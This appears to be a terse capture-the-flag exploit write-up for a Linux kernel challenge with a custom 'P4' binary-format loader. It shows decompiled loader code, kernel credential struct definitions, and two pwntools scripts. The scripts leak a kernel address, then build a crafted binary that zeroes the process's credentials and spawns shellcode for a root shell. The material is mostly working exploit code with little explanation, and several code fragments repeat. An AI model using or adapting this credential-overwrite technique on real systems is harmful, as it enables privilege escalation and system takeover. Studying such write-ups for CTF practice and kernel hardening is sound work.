__int64 __fastcall load_p4_binary(__int64 a1)
{
  signed __int64 v1; // rcx
  _BYTE *v2; // rsi
  __int64 v3; // r12
  __int64 v4; // rbx
  _BYTE *v5; // rdi
  unsigned __int64 v6; // r14
  bool v7; // cf
  bool v8; // zf
  __int64 v9; // r13
  unsigned int v10; // ebp
  char v12; // al
  signed __int64 v13; // r12
  signed __int64 v14; // rsi
  unsigned __int64 v15; // rax
  map_info *v16; // r12
  __int64 v17; // ST00_8
  signed __int64 v18; // r14
  unsigned __int64 v19; // r15
  __int64 v20; // r9
  __int64 v21; // rdx
  __int64 v22; // rcx
  __int64 v23; // r8

  v1 = 2LL;
  v2 = &fmt_header;
  v3 = a1 + 0x48;
  v4 = a1;
  v5 = (_BYTE *)(a1 + 0x48);
  v6 = __readgsqword((unsigned __int64)&current_task);
  v7 = 0;
  v8 = 0;
  v9 = *(_QWORD *)(v6 + 0x2A0);
  do                                            // cmp headers
  {
    if ( !v1 )
      break;
    v7 = *v2 < *v5;
    v8 = *v2++ == *v5++;
    --v1;
  }
  while ( v8 );
  if ( (!v7 && !v8) != v7 )
    return (unsigned int)-8;
  JUMPOUT(*(_BYTE *)(v4 + 0x4A), 0, load_p4_binary_cold_2);// cmp \x00->version
  if ( *(_BYTE *)(v4 + 0x4B) > 1u )
    return (unsigned int)-22;
  v10 = flush_old_exec(v4, v2);                 // clear the environment
  if ( !v10 )
  {
    *(_DWORD *)(v6 + 0x80) = 0x800000;
    setup_new_exec(v4);
    v12 = *(_BYTE *)(v4 + 0x4B);
    if ( v12 )                                  // type=1
    {
      if ( v12 != 1 )
        return (unsigned int)-22;
      if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }
    else                                        //type=0
    {
      v13 = -12LL;
      if ( (unsigned __int64)vm_mmap(
                               *(_QWORD *)(v4 + 8),
                               *(_QWORD *)(v4 + 80),
                               4096LL,
                               *(_QWORD *)(v4 + 80) & 7LL,
                               2LL,
                               0LL) > 0xFFFFFFFFFFFFF000LL )
      {
LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)&current_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 88);
    goto LABEL_12;
  }
  return v10;
}

if ( v12 )                                  // type=1
    {
      if ( v12 != 1 )
        return (unsigned int)-22;
      if ( *(_DWORD *)(v4 + 0x4C) )             // map_time
      {
        v16 = (map_info *)(*(_QWORD *)(v4 + 0x50) + v3);// map_info_offset
        do
        {
          v17 = v16->load_addr;
          v18 = v16->load_addr & 7;
          v19 = v16->load_addr & 0xFFFFFFFFFFFFF000LL;
          printk(
            "vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n",
            v19,
            v16->length,
            v16->offset,
            v18);
          v20 = v16->offset;
          v21 = v16->length;
          if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }
          else
          {
            vm_mmap(*(_QWORD *)(v4 + 8), v19, v21, (unsigned __int8)v18, 2LL, v20);
          }
          ++v10;
          ++v16;
        }
        while ( *(_DWORD *)(v4 + 0x4C) > v10 );
      }
    }

LABEL_12:
        install_exec_creds(v4);
        set_binfmt(&p4format);
        v14 = 0x7FFFFFFFF000LL;
        v15 = __readgsqword((unsigned __int64)&current_task);
        if ( *(_QWORD *)v15 & 0x20000000 )
        {
          v14 = 0xC0000000LL;
          if ( !(*(_BYTE *)(v15 + 131) & 8) )
            v14 = 0xFFFFE000LL;
        }
        v10 = setup_arg_pages(v4, v14, 0LL);
        if ( !v10 )
        {
          finalize_exec(v4);
          start_thread(
            v9 + 16216,
            v13,
            *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 0x100) + 0x28LL));
        }
        return v10;
      }
    }
    v13 = *(_QWORD *)(v4 + 0x58);
    goto LABEL_12;

void install_exec_creds(struct linux_binprm *bprm)
{
    security_bprm_committing_creds(bprm);

    commit_creds(bprm->cred);
    bprm->cred = NULL;

    if (get_dumpable(current->mm) != SUID_DUMP_USER)
        perf_event_exit_task(current);

    security_bprm_committed_creds(bprm);
    mutex_unlock(&current->signal->cred_guard_mutex);
}

if ( v17 & 8 )
          {
            vm_mmap(0LL, v19, v21, (unsigned __int8)v18, 2LL, v20);
            printk("clear_user(addr=0x%llx, length=0x%llx)\n", v16->load_addr, v16->length, v22, v23);
            _clear_user(v16->load_addr, v16->length);
          }

struct linux_binprm {
  char buf[BINPRM_BUF_SIZE];
 #ifdef CONFIG_MMU
  struct vm_area_struct *vma;
  unsigned long vma_pages;
 #else
 # define MAX_ARG_PAGES 32
  struct page *page[MAX_ARG_PAGES];
 #endif
  struct mm_struct *mm;
  unsigned long p; /* current top of mem */
  unsigned long argmin; /* rlimit marker for copy_strings() */
  unsigned int
    /*
    * True after the bprm_set_creds hook has been called once
    * (multiple calls can be made via prepare_binprm() for
    * binfmt_script/misc).
    */
    called_set_creds:1,
    /*
    * True if most recent call to the commoncaps bprm_set_creds
    * hook (due to multiple prepare_binprm() calls from the
    * binfmt_script/misc handlers) resulted in elevated
    * privileges.
    */
    cap_elevated:1,
    /*
    * Set by bprm_set_creds hook to indicate a privilege-gaining
    * exec has happened. Used to sanitize execution environment 
   * and to set AT_SECURE auxv for glibc.
    */
    secureexec:1;
 #ifdef __alpha__
  unsigned int taso:1; 
#endif
  unsigned int recursion_depth; /* only for search_binary_handler() */
  struct file * file; 
 struct cred *cred; /* new credentials */
  int unsafe;   /* how unsafe this exec is (mask of LSM_UNSAFE_*) */
  unsigned int per_clear; /* bits to clear in current->personality */
  int argc, envc;
  const char * filename; /* Name of binary as seen by procps */
  const char * interp; /* Name of the binary really executed. Most
   of the time same as filename, but could be
   different for binfmt_{misc,script} */
  unsigned interp_flags;
  unsigned interp_data;
  unsigned long loader, exec;
  struct rlimit rlim_stack; /* Saved RLIMIT_STACK used during exec. */
 } __randomize_layout;

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

from pwn import  *

payload = ""
payload += "P4"             
payload += p8(0)# version
payload += p8(1)# type
payload += p32(1)# map_count
payload += p64(0x90)#map_info_offset
payload += p64(0)     # entry
payload += "kirin"
print payload.encode("base64")
#output=UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=

from pwn import *

#context.log_level="debug"

def get_payload(addr):
    payload="P4"
    payload+=p8(0)#version
    payload+=p8(1)#type
    payload+=p32(2)#map_info_num
    payload+=p64(0x18)#map_info_offset
    payload+=p64(0x400048)#entry
    payload+=p64(0x400000|7)#port=7->rwx
    payload+=p64(0x1000)#length
    payload+=p64(0)#offset
    payload+=p64((addr|8)+0x10)#cred
    payload+=p64(0x48)#overwrite_length
    payload+=p64(0)
    payload+=asm(shellcraft.amd64.sh(),arch="amd64")
    return payload.encode("base64").strip()
p=process("./run.sh")
p.sendlineafter("/ $ ",'echo -n "UDQAAQEAAACQAAAAAAAAAAAAAAAAAAAAa2lyaW4=" | base64 -d > /tmp/kirin; chmod +x /tmp/kirin')
p.sendlineafter("/ $ ","/tmp/kirin")
p.recvuntil("length=")
addr=int(p.recvuntil(",")[:-1],16)
print hex(addr)
exp=get_payload(addr)
cmd='echo -n "%s" | base64 -d > /tmp/exp; chmod +x /tmp/exp' %exp
p.sendlineafter("/ $ ",cmd)
p.recvuntil("$ ")
for i in range(10):
    p.sendline("/tmp/exp")
    p.recvuntil("/ ",timeout=1)
    ans=p.recv(2)  
    print ans[0] 
    if ans[0]=='#':
        print "Get Shell Successfully"
        break
    if i==9:
        print "Failed this time,please try again!"
p.interactive()